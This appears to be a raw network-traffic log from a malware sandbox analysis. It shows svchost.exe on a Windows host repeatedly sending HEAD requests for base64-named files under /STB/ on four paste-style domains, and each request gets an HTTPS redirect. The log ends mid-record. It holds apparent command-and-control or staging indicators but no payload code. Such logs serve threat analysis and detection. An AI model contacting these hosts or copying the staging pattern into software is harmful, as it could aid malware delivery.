Jan 12, 2025 09:26:45.056775093 CET	870	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:45 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GdNPAt21UszN7i7LuW%2FNK%2FNuGZ3yVUxYRBRrYYbr3y%2BYNz9rsDwLk3iVuQJDZFZptI6GOKcoW4%2Br95%2ByCUtA6yKGk%2FAoXJ9TyghCO7XYva%2FGPGr8zsXfdB%2Bhuwp3lJhK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc36f48c719cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1979&rtt_var=989&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49886	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:45.100444078 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:45.530103922 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:45 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2H39OcdOn2DabCtnltVgg8%2FO2Z3csqzZtBDRSGjUZElHnV2GBgy3POfH5UdQF7u0CWkYrZiizNNLgHzHEbqfI1bLWaMkZhpWxfXxNTrNogn%2BKpu8LFU3ZBLugviElamSZq5%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3723e41c42c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1669&rtt_var=834&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49892	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:45.536559105 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:46.011811018 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:45 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ijtp%2BEUnOfSb%2BkjgjtZrgbkU%2BlDW5O0jGHMsJkAwGJDABCNL6BXIHqbNwtE2dt2ckVqmMRjC%2BqOtAjIezgImUquCMgpwwwgbXCkCE2U1HMhCyKjfZCkmk%2FJLfXjrojkYx86i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc37538657c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1925&min_rtt=1925&rtt_var=962&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49894	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:45.653223038 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:46.129633904 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:46 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:46 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9qXGJHtD4iLBWTQVCjZA4hEU6ulaNchep8sFIA7%2BU32hB4H9oTXF5liaX1FOzF684p6D%2BZQirmzCxHTL4ulKQVQTz03Q3hV5i%2BH%2BxghtgJB2okcSMUXmuOk6%2F8CQFR2rCFs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc375fe01437a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1595&rtt_var=797&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49904	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:46.136244059 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:46.617383003 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:46 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:46 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z0E94SfUI8tCSYiHJDFIRI9VEktBLWO%2Bbm4KibOWu76HwGDge4oE8Ab4jWhyVF1BVgB10hTsIOR%2FWiksWHZGiyYgwxEl2rOrDHOoFWKVsKmY6PYbUsiG7STi4VE%2FHM6w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc378f8ef42c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1667&rtt_var=833&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=125&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49906	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:46.481465101 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:46.957870007 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:46 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:46 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3braQ6KlQC08vpjn05mOLETwpVKyEOiyDhvjyf0sGF6jWX5f2ZnuAk2f1GqrSep2tnBsLmt7MxWyl0tDXP9XY8NVwIfDmfEoT35nkROzAp4STjN3FXz%2BxRkEauyg9XRSiR4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc37b19c772a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1838&rtt_var=919&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49908	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:46.624032974 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:47.104862928 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:47 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LUhzoqEXe%2BIP2tuD9%2BgdNjEW22o1pZywjfaZDenYc%2F82RngvemayWG5kXxgMFTuEuxg%2BuUu8geWqILeRgwbh21pCCaXt4S8bgV37H9JDwKU5Yfn1aRMHY8qS3zYXACPTBByh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc37c0f6e4321-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1544&min_rtt=1544&rtt_var=772&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49915	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:46.964274883 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:47.419704914 CET	858	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:47 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8SIzCvDTZQ4j2AiUAwm2iTRKoO1EPDrnmtaIWpR90Ehsrh8xINQAoYWwLovSBS0CSAD1Skb9TUbeQN9vr0Lqw8Vw1%2FVpgV2LjF2r1qOo%2FGbGGktvaHPZvAkme7iQWnG5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc37e0b200ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1483&rtt_var=741&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=157&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49917	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:47.112185001 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:47.578442097 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:47 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BaXJ%2FfJfYOMShKIVSkVMpJok5se8Yix8pmDidh57GVqchkHkfLonZnsFgNBJ1GDp7ASPUBL8EvLcT4xMyS85va0Gu79W%2F4FOgmY6riPv3CRZi9w6KmT1YRoSl2uCl7w2Rjmg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc37f0942de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1563&rtt_var=781&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49920	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:47.427112103 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:47.889683008 CET	872	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:47 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gevHvOtAOM3wyYZo7Ey5exJa71MsVhvv5rD%2BFp4DnKREgA9uLAtVQcTfJcwrYVGUWOBz2BRDnvQBlDBznqxfdR%2F6hpMHtaAIGGCL5WoemCb1d9b4eOC%2F7GOTE33ebnNIuW24"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc380fa307cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&min_rtt=2007&rtt_var=1003&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49929	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:47.937722921 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:48.387614965 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:48 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:48 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uktk5uaHjqhIDQbjxLdjs7N%2FWkTytKrgDc5jByzr0Mx4DBqg52VJPm6R8A49hexsKnBEtDUvmknKNOkI3mM97w5x850blKhblo2J6GlUcsg4I9YfL8HRBaOt%2FfqaX%2B1C4zFP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc38419188ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1973&rtt_var=986&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49931	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:48.104233027 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:48.562022924 CET	878	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:48 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:48 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fjkz0MvZuLNH2HWfRPWv9E%2FNjMBkGLRM92n11QdgeiNsjH%2BmRa8hFE0aI4DkMeEGDMOL%2FUJNSPxnfObjkLY3t%2FoIMOmL%2FQTbH9%2FLw5jHIeQGuE9jddqG0mfOFvWgCd81G7Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3852a697c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1765&rtt_var=882&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49935	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:48.654694080 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:49.128067970 CET	858	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:49 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:49 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UWVcz1m3TYcY6Y9efDlwoWYbR%2Fy3jfa4lCGWjzBFTyZLzLcXur%2BBwkvvCoG7fQUwwVMUPaGEDandRyGqQ313qfzgyIakdA1pJhBLM8nH2SLdcWJtdDciNwKyb4A9zR55"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc388ab51424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1639&rtt_var=819&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49943	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:49.134479046 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:49.595551968 CET	880	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:49 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:49 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7emnElNfVm8u7LYCGyFIIjkn2dQ5%2FqK5gGzM7uCVfq%2BJIG9%2B%2B2CpwCyB59RSrM1aeU%2BDCRf%2BhgUWaJE0nGhVUA1ALJdY%2FcpuSWKTsERggtLCPY205dvCUxdVwuqfapZd97in"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc38b9dcc4233-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=2135&rtt_var=1067&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49945	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:49.369941950 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:49.841666937 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:49 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:49 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y2HkO39USwdxboF5Kpo4TMQAx9ldICZEqpdUaOsniVj4ZxektX6YY%2BDTx%2B2Y8i6kbPDmIn66808bbPuua7ffcxrU0oPCtw05%2BzvCOAjmO%2FdgmbTYavKs3ks%2FE8ttDO9UpoE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc38d2f32c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1598&rtt_var=799&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=179&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49947	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:49.602216005 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:50.062084913 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:50 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:50 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjVs2XzsbWBRicf7l3QIpg%2FzgHwlJAmhYJVS3KqU7KyiEp3%2BnZAhbQfY%2BP7y04uUVtbDDCTX3UPvVC8AmDip9kL1CsqhQtPZdhIel0IIlil9C0%2FojD%2F0FnAodpQsyujRK2Z1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc38e8a5142e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1738&rtt_var=869&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49954	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:49.848090887 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:50.321182013 CET	856	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:50 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:50 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bU9p3mYWq96Pp1J1ujo7l2jXPLECZcqxBau6Gn87Qgc2tszdHQF0TKu4EbIzd%2BHASSdYoz4RHaek1OBkqQouIpbBh3Ba7UIzeR0UmUn8KoiyoVurXcKj0N12xjHbgfQS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc390298b8cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1930&rtt_var=965&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49959	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:50.327678919 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:50.807281971 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:50 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:50 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OCifESbLHsLuau%2BInYLIBZSpwLRW5qA3GbL2jX0IV4EQ3Zw47%2BfaLpsWRg3wECWOvkybhzuRI2E%2FLdJXsau3KinupvWIr%2BM1mWyTS9lfD0gBSNQaPpyCrwRsbh4%2Frfu92zAm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3932cb6437f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1543&min_rtt=1543&rtt_var=771&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=77&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49966	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:50.554229975 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:51.016730070 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:50 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:50 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nwCewFZoBi9A4TusipxARyzmN%2BDXmZGRooq6J7gyRhW%2BeF2Qg7%2BZU1TIuBjPyjlk3xCOf3UwfuAru%2BkqJp4q6f1HUloa0ANrp793lZVlvIf6MmsKs8VZpCV9egX6pl45ha8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3948a02c33d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&min_rtt=1912&rtt_var=956&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49968	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:50.813709974 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:51.290076971 CET	881	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:51 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:51 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dH3TE3nKGsx1r%2BkyXiQVvfoKzJmAAPwAGtmnQGnPR91hjtpHZj4NtMK%2F642EX60oqHnwhpK%2FTMt0jb%2BauWYKGLl%2Bx5BmI4NLjufR5540MdF7BVpLoPq4J%2FgbP7EsDSa3xnyA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc39638e742e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: 